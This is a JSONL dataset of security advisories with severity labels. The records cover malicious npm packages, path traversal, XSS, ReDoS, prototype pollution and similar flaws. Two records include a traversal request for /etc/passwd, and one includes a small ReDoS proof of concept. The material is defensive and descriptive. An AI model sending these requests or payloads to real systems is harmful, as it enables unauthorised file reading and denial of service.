-{"id": "75cf8cb23ba136546e91", "text": "Insecure default config of Celery worker in Apache Airflow\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attack can connect to the broker (Redis, RabbitMQ) directly, it was possible to insert a malicious payload directly to the broker which could lead to a deserialization attack (and thus remote code execution) on the Worker.", "text_raw": "Insecure default config of Celery worker in Apache Airflow\n\n[Severity: CRITICAL]\n\nAn issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attack can connect to the broker (Redis, RabbitMQ) directly, it was possible to insert a malicious payload directly to the broker which could lead to a deserialization attack (and thus remote code execution) on the Worker.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "910f783ce5f0d6c05ac1", "text": "Certificate check bypass in openssl-src\n\nThe X509_V_FLAG_X509_STRICT flag enables additional security checks of the certificates present in a certificate chain. It is not set by default. Starting from OpenSSL version 1.1.1h a check to disallow certificates in the chain that have explicitly encoded elliptic curve parameters was added as an additional strict check. An error in the implementation of this check meant that the result of a previous check to confirm that certificates in the chain are valid CA certificates was overwritten. This effectively bypasses the check that non-CA certificates must not be able to issue other certificates. If a \"purpose\" has been configured then there is a subsequent opportunity for checks that the certificate is a valid CA. All of the named \"purpose\" values implemented in libcrypto perform this check. Therefore, where a purpose is set the certificate chain will still be rejected even when the strict flag has been used. A purpose is set by default in libssl client and server certificate verification routines, but it can be overridden or removed by an application. In order to be affected, an application must explicitly set the X509_V_FLAG_X509_STRICT verification flag and either not set a purpose for the certificate verification or, in the case of TLS client or server applications, override the default purpose. OpenSSL versions 1.1.1h and newer are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1h-1.1.1j).", "text_raw": "Certificate check bypass in openssl-src\n\n[Severity: HIGH]\n\nThe X509_V_FLAG_X509_STRICT flag enables additional security checks of the certificates present in a certificate chain. It is not set by default. Starting from OpenSSL version 1.1.1h a check to disallow certificates in the chain that have explicitly encoded elliptic curve parameters was added as an additional strict check. An error in the implementation of this check meant that the result of a previous check to confirm that certificates in the chain are valid CA certificates was overwritten. This effectively bypasses the check that non-CA certificates must not be able to issue other certificates. If a \"purpose\" has been configured then there is a subsequent opportunity for checks that the certificate is a valid CA. All of the named \"purpose\" values implemented in libcrypto perform this check. Therefore, where a purpose is set the certificate chain will still be rejected even when the strict flag has been used. A purpose is set by default in libssl client and server certificate verification routines, but it can be overridden or removed by an application. In order to be affected, an application must explicitly set the X509_V_FLAG_X509_STRICT verification flag and either not set a purpose for the certificate verification or, in the case of TLS client or server applications, override the default purpose. OpenSSL versions 1.1.1h and newer are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1k. OpenSSL 1.0.2 is not impacted by this issue. Fixed in OpenSSL 1.1.1k (Affected 1.1.1h-1.1.1j).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ef2d022f9cd3700b3d3f", "text": "Malicious Package in test-module-a\n\nAll versions of `test-module-a` contain malicious code as a preinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking,\n\n## Recommendation\n\nRemove the package from your system. If you own any packages that were compromised please contact npm security immediately at security@npmjs.com. Also enable 2FA for publishing to further secure packages you maintain.", "text_raw": "Malicious Package in test-module-a\n\n[Severity: CRITICAL]\n\nAll versions of `test-module-a` contain malicious code as a preinstall script. The package fetches all names of npm packages owned by the user and attempts to add another maintainer to every package as a means of package hijacking,\n\n\n## Recommendation\n\nRemove the package from your system. If you own any packages that were compromised please contact npm security immediately at security@npmjs.com. Also enable 2FA for publishing to further secure packages you maintain.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "358087168660fa17d953", "text": "miekg/dns insecurely generates random numbers\n\nThe miekg Go DNS package before 1.1.25, as used in CoreDNS before 1.6.6 and other products, improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.", "text_raw": "miekg/dns insecurely generates random numbers\n\n[Severity: MEDIUM]\n\nThe miekg Go DNS package before 1.1.25, as used in CoreDNS before 1.6.6 and other products, improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "a0171bcbe4f3007b9ab5", "text": "MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities", "text_raw": "MTP Guestbook 1.0 Multiple Remote Script Insertion Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-02-25", "split": "train"}
-{"id": "3f0d2973ab5d2b10f181", "text": "Malicious Package in kraken-api\n\nVersion 0.1.8 of `kraken-api` contains malicious code as a postinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nUsers may consider downgrading to version 0.1.7\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in kraken-api\n\n[Severity: CRITICAL]\n\nVersion 0.1.8 of `kraken-api` contains malicious code as a postinstall script. When installed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\n\nUsers may consider downgrading to version 0.1.7\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "970ed8984b9cec5d560d", "text": "Regular expression Denial of Service in multiple packages\n\n### Impact\nA regular expression denial of service (ReDoS) vulnerability has been discovered in multiple CKEditor 5 packages. The vulnerability allowed to abuse particular regular expressions, which could cause a significant performance drop resulting in a browser tab freeze. It affects all users using the CKEditor 5 packages listed above at version <= 26.0.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 27.0.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 5 team would like to thank Yeting Li for recognizing and reporting these vulnerabilities.", "text_raw": "Regular expression Denial of Service in multiple packages\n\n[Severity: MEDIUM]\n\n\n### Impact\nA regular expression denial of service (ReDoS) vulnerability has been discovered in multiple CKEditor 5 packages. The vulnerability allowed to abuse particular regular expressions, which could cause a significant performance drop resulting in a browser tab freeze. It affects all users using the CKEditor 5 packages listed above at version <= 26.0.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 27.0.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 5 team would like to thank Yeting Li for recognizing and reporting these vulnerabilities.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "c429a94dcf259b461f3a", "text": "Out-of-bounds Write in OpenCV\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to opencv-python and opencv-contrib-python through 3.3.0.9) has an out-of-bounds write error in the function FillColorRow1 in utils.cpp when reading an image file by using cv::imread.", "text_raw": "Out-of-bounds Write in OpenCV\n\n[Severity: HIGH]\n\nOpenCV (Open Source Computer Vision Library) through 3.3 (corresponding to opencv-python and opencv-contrib-python through 3.3.0.9) has an out-of-bounds write error in the function FillColorRow1 in utils.cpp when reading an image file by using cv::imread.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "135da2ee176b6931b9c1", "text": "Path Traversal in restify-swagger-jsdoc\n\nVersions of `restify-swagger-jsdoc` prior to 3.2.1 are vulnerable to Path Traversal.  The package fails to properly sanitize URLs, which may allow attackers to access server files outside the `swagger-ui` folder by using relative paths.\n\n## Recommendation\n\nUpgrade to version 3.2.1 or later.", "text_raw": "Path Traversal in restify-swagger-jsdoc\n\n[Severity: HIGH]\n\nVersions of `restify-swagger-jsdoc` prior to 3.2.1 are vulnerable to Path Traversal.  The package fails to properly sanitize URLs, which may allow attackers to access server files outside the `swagger-ui` folder by using relative paths.  \n\n\n\n## Recommendation\n\nUpgrade to version 3.2.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "9a099b529b633f1ed0aa", "text": "Malicious Package in beffer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in beffer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "65269f2d3e33a44a86e7", "text": "Directory Traversal in serverhuwenhui\n\nAffected versions of `serverhuwenhui` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in serverhuwenhui\n\n[Severity: HIGH]\n\nAffected versions of `serverhuwenhui` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "bf85495a7f7bbeff98a8", "text": "vrana/adminer via XSS in the history parameter in SQL command\n\n### Impact\nUsers of Adminer versions supporting SQL command (most versions, e.g. MySQL) using browsers not encoding URL parameters before sending to server (likely Edge, not Chrome, not Firefox) are affected.\n\n### Patches\nPatched by 5c395afc, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\nUse browser which encodes URL parameters (e.g. Chrome or Firefox).\n\n### References\nhttps://sourceforge.net/p/adminer/bugs-and-features/775/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at https://sourceforge.net/p/adminer/bugs-and-features/775/", "text_raw": "vrana/adminer via XSS in the history parameter in SQL command\n\n[Severity: MEDIUM]\n\n### Impact\nUsers of Adminer versions supporting SQL command (most versions, e.g. MySQL) using browsers not encoding URL parameters before sending to server (likely Edge, not Chrome, not Firefox) are affected.\n\n### Patches\nPatched by 5c395afc, included in version [4.7.9](https://github.com/vrana/adminer/releases/tag/v4.7.9).\n\n### Workarounds\nUse browser which encodes URL parameters (e.g. Chrome or Firefox).\n\n### References\nhttps://sourceforge.net/p/adminer/bugs-and-features/775/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment at https://sourceforge.net/p/adminer/bugs-and-features/775/\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-11", "split": "train"}
-{"id": "069dfed89f0133352106", "text": "Malicious Package in luna-mock\n\nAll versions of `luna-mock` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in luna-mock\n\n[Severity: CRITICAL]\n\nAll versions of `luna-mock` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "e2f965af4a2bacf08bfa", "text": "Path Traversal in Django\n\nIn Django 2.2 before 2.2.21, 3.1 before 3.1.9, and 3.2 before 3.2.1, MultiPartParser, UploadedFile, and FieldFile allowed directory traversal via uploaded files with suitably crafted file names.", "text_raw": "Path Traversal in Django\n\n[Severity: HIGH]\n\nIn Django 2.2 before 2.2.21, 3.1 before 3.1.9, and 3.2 before 3.2.1, MultiPartParser, UploadedFile, and FieldFile allowed directory traversal via uploaded files with suitably crafted file names.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "5e68d2408652e27b7d34", "text": "Directory Traversal in dylmomo\n\nAffected versions of `dylmomo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dylmomo\n\n[Severity: HIGH]\n\nAffected versions of `dylmomo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "fff450befdabd0f51755", "text": "Malicious Package in carloprojectdiscord\n\nAll versions of `carloprojectdiscord` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "text_raw": "Malicious Package in carloprojectdiscord\n\n[Severity: CRITICAL]\n\nAll versions of `carloprojectdiscord` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "1d3a17aa682b71ee8f25", "text": "Cross-site Scripting in wagtail\n\n### Impact\nWhen the `{% include_block %}` template tag is used to output the value of a plain-text StreamField block (`CharBlock`, `TextBlock` or a similar user-defined block derived from `FieldBlock`), and that block does not specify a template for rendering, the tag output is not properly escaped as HTML. This could allow users to insert arbitrary HTML or scripting. This vulnerability is only exploitable by users with the ability to author StreamField content (i.e. users with 'editor' access to the Wagtail admin).\n\n### Patches\nPatched versions have been released as Wagtail 2.11.8 (for the LTS 2.11 branch), Wagtail 2.12.5, and Wagtail 2.13.2 (for the current 2.13 branch).\n\nSite implementors who wish to retain the existing behaviour of allowing editors to insert HTML content in these blocks (and are willing to accept the risk of untrusted editors inserting arbitrary code) may disable the escaping by surrounding the relevant `{% include_block %}` tag in `{% autoescape off %}...{% endautoescape %}`.\n\n### Workarounds\nSite implementors who are unable to upgrade to a current supported version should audit their use of `{% include_block %}` to ensure it is not used to output `CharBlock` / `TextBlock` values with no associated template. Note that this only applies where `{% include_block %}` is used directly on that block (uses of `include_block` on a block _containing_ a CharBlock / TextBlock, such as a StructBlock, are unaffected). In these cases, the tag can be replaced with Django's `{{ ... }}` syntax - e.g. `{% include_block my_title_block %}` becomes `{{ my_title_block }}`.\n\n### Acknowledgements\nMany thanks to Karen Tracey for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at security@wagtail.io (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)", "text_raw": "Cross-site Scripting in wagtail\n\n[Severity: MEDIUM]\n\n### Impact\nWhen the `{% include_block %}` template tag is used to output the value of a plain-text StreamField block (`CharBlock`, `TextBlock` or a similar user-defined block derived from `FieldBlock`), and that block does not specify a template for rendering, the tag output is not properly escaped as HTML. This could allow users to insert arbitrary HTML or scripting. This vulnerability is only exploitable by users with the ability to author StreamField content (i.e. users with 'editor' access to the Wagtail admin).\n\n### Patches\nPatched versions have been released as Wagtail 2.11.8 (for the LTS 2.11 branch), Wagtail 2.12.5, and Wagtail 2.13.2 (for the current 2.13 branch).\n\nSite implementors who wish to retain the existing behaviour of allowing editors to insert HTML content in these blocks (and are willing to accept the risk of untrusted editors inserting arbitrary code) may disable the escaping by surrounding the relevant `{% include_block %}` tag in `{% autoescape off %}...{% endautoescape %}`.\n\n### Workarounds\nSite implementors who are unable to upgrade to a current supported version should audit their use of `{% include_block %}` to ensure it is not used to output `CharBlock` / `TextBlock` values with no associated template. Note that this only applies where `{% include_block %}` is used directly on that block (uses of `include_block` on a block _containing_ a CharBlock / TextBlock, such as a StructBlock, are unaffected). In these cases, the tag can be replaced with Django's `{{ ... }}` syntax - e.g. `{% include_block my_title_block %}` becomes `{{ my_title_block }}`.\n\n### Acknowledgements\nMany thanks to Karen Tracey for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Visit Wagtail's [support channels](https://docs.wagtail.io/en/stable/support.html)\n* Email us at security@wagtail.io (if you wish to send encrypted email, the public key ID is `0x6ba1e1a86e0f8ce8`)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-17", "split": "train"}
-{"id": "05984ef11effcdf87b0d", "text": "Prototype Pollution in lodash\n\nVersions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.17.12 or later.", "text_raw": "Prototype Pollution in lodash\n\n[Severity: CRITICAL]\n\nVersions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.\n\n## Recommendation\n\nUpdate to version 4.17.12 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-10", "split": "train"}
-{"id": "0aaad22bc693e10cf333", "text": "Regular Expression Denial of Service in uglify-js\n\nVersions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\nreturn result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.", "text_raw": "Regular Expression Denial of Service in uglify-js\n\n[Severity: HIGH]\n\nVersions of `uglify-js` prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the `parse()` method.\n\n\n### Proof of Concept\n\n```\nvar u = require('uglify-js');\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\nu.parse(\"var a = \" + genstr(process.argv[2], \"1\") + \".1ee7;\");\n```\n\n### Results\n```\n$ time node test.js 10000\nreal\t0m1.091s\nuser\t0m1.047s\nsys\t0m0.039s\n\n$ time node test.js 80000\nreal\t0m6.486s\nuser\t0m6.229s\nsys\t0m0.094s\n```\n\n\n## Recommendation\n\nUpdate to version 2.6.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "caec7cf638362f4b5814", "text": "Operation Technology ETAP 14.1.0 Local Privilege Escalation", "text_raw": "Operation Technology ETAP 14.1.0 Local Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-05-22", "split": "train"}
-{"id": "c895e796530e9dee9dee", "text": "Malicious Package in discord_debug_log\n\nAll versions of `discord_debug_log` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "text_raw": "Malicious Package in discord_debug_log\n\n[Severity: CRITICAL]\n\nAll versions of `discord_debug_log` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "fea64312bf10ee91ea0f", "text": "XSS vulnerability that affects bootstrap\n\nIn Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport attribute.", "text_raw": "XSS vulnerability that affects bootstrap\n\n[Severity: MEDIUM]\n\nIn Bootstrap before 3.4.0, XSS is possible in the tooltip data-viewport attribute.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "78e5f8812e1514985852", "text": "Link Following in rply\n\npython-rply before 0.7.4 insecurely creates temporary files.", "text_raw": "Link Following in rply\n\n[Severity: MEDIUM]\n\npython-rply before 0.7.4 insecurely creates temporary files.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-11", "split": "train"}
-{"id": "33a9205838ca48b8ef50", "text": "Link Following in ansible\n\nThe `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.", "text_raw": "Link Following in ansible\n\n[Severity: HIGH]\n\nThe `create_script` function in the `lxc_container` module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) `/opt/.lxc-attach-script`, (2) the archived container in the `archive_path` directory, or the (3) `lxc-attach-script.log` or (4) `lxc-attach-script.err` files in the temporary directory.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "176b4b9e9847fc11db21", "text": "py vulnerable to Regular Expression Denial of Service\n\nA denial of service via regular expression in the py.path.svnwc component of py (aka python-py) through 1.9.0 could be used by attackers to cause a compute-time denial of service attack by supplying malicious input to the blame functionality.", "text_raw": "py vulnerable to Regular Expression Denial of Service\n\n[Severity: HIGH]\n\nA denial of service via regular expression in the py.path.svnwc component of py (aka python-py) through 1.9.0 could be used by attackers to cause a compute-time denial of service attack by supplying malicious input to the blame functionality.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "b102482d3b1eeae14c9a", "text": "Cross-site scripting in Dolibarr\n\nIn htdocs/societe/card.php in Dolibarr 10.0.1, the value of the User-Agent HTTP header is copied into the HTML document as plain text between tags, leading to XSS.", "text_raw": "Cross-site scripting in Dolibarr\n\n[Severity: MEDIUM]\n\nIn htdocs/societe/card.php in Dolibarr 10.0.1, the value of the User-Agent HTTP header is copied into the HTML document as plain text between tags, leading to XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-11-08", "split": "train"}
-{"id": "37ceaf8707bba68ce163", "text": "Arbitrary File Write in cli\n\nAffected versions of `cli` use predictable temporary file names. If an attacker can create a symbolic link at the location of one of these temporarly file names, the attacker can arbitrarily write to any file that the user which owns the `cli` process has permission to write to.\n\n## Proof of Concept\n\nBy creating Symbolic Links at the following locations, the target of the link can be written to.\n```\nlock_file = '/tmp/' + cli.app + '.pid',\nlog_file = '/tmp/' + cli.app + '.log';\n```\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "text_raw": "Arbitrary File Write in cli\n\n[Severity: LOW]\n\nAffected versions of `cli` use predictable temporary file names. If an attacker can create a symbolic link at the location of one of these temporarly file names, the attacker can arbitrarily write to any file that the user which owns the `cli` process has permission to write to.\n\n\n## Proof of Concept\n\nBy creating Symbolic Links at the following locations, the target of the link can be written to.\n```\nlock_file = '/tmp/' + cli.app + '.pid',\nlog_file = '/tmp/' + cli.app + '.log';\n```\n\n\n## Recommendation\n\nUpdate to version 1.0.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "9d1a3da2590720dfdfa8", "text": "Improper Authorization in passport-cognito\n\nAll versions of `passport-cognito` are vulnerable to Improper Authorization. The package fails to properly scope the variables containing authorization information, such as access token, refresh token and ID token. This causes a race condition where simultaneous authenticated users may receive authorization tokens for a different user. This would allow a user to take actions on another user's behalf.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Improper Authorization in passport-cognito\n\n[Severity: CRITICAL]\n\nAll versions of `passport-cognito` are vulnerable to Improper Authorization. The package fails to properly scope the variables containing authorization information, such as access token, refresh token and ID token. This causes a race condition where simultaneous authenticated users may receive authorization tokens for a different user. This would allow a user to take actions on another user's behalf.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "a89f391d4013ff0dfaa0", "text": "Regular Expression Denial of Service (ReDoS)\n\nThe is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.", "text_raw": "Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nThe is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "6e0552833c31cfc06921", "text": "Aubio is vulnerable to a NULL pointer dereference in new_aubio_filterbank\n\naubio v0.4.0 to v0.4.8 has a NULL pointer dereference in `new_aubio_filterbank` via invalid n_filters.", "text_raw": "Aubio is vulnerable to a NULL pointer dereference in new_aubio_filterbank\n\n[Severity: HIGH]\n\naubio v0.4.0 to v0.4.8 has a NULL pointer dereference in `new_aubio_filterbank` via invalid n_filters.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "3e31895b6c4537a39d0f", "text": "Plone and Zope2 affected by Race Condition\n\nAccessControl/AuthEncoding.py in Zope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote attackers to obtain passwords via vectors involving timing discrepancies in password validation.", "text_raw": "Plone and Zope2 affected by Race Condition\n\n[Severity: HIGH]\n\nAccessControl/AuthEncoding.py in Zope before 2.13.19, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote attackers to obtain passwords via vectors involving timing discrepancies in password validation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "1ddbdb07ada14e862ff0", "text": "OrientDB vulnerable to Improper Privilage Management leading to arbitrary command injection\n\nOrientDB through 2.2.22 does not enforce privilege requirements during \"where\" or \"fetchplan\" or \"order by\" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.", "text_raw": "OrientDB vulnerable to Improper Privilage Management leading to arbitrary command injection\n\n[Severity: CRITICAL]\n\nOrientDB through 2.2.22 does not enforce privilege requirements during \"where\" or \"fetchplan\" or \"order by\" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "88bfc693d5d76770c087", "text": "Improper Input Validation in kdcproxy\n\npython-kdcproxy before 0.3.2 allows remote attackers to cause a denial of service via a large POST request.", "text_raw": "Improper Input Validation in kdcproxy\n\n[Severity: HIGH]\n\npython-kdcproxy before 0.3.2 allows remote attackers to cause a denial of service via a large POST request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-01", "split": "train"}
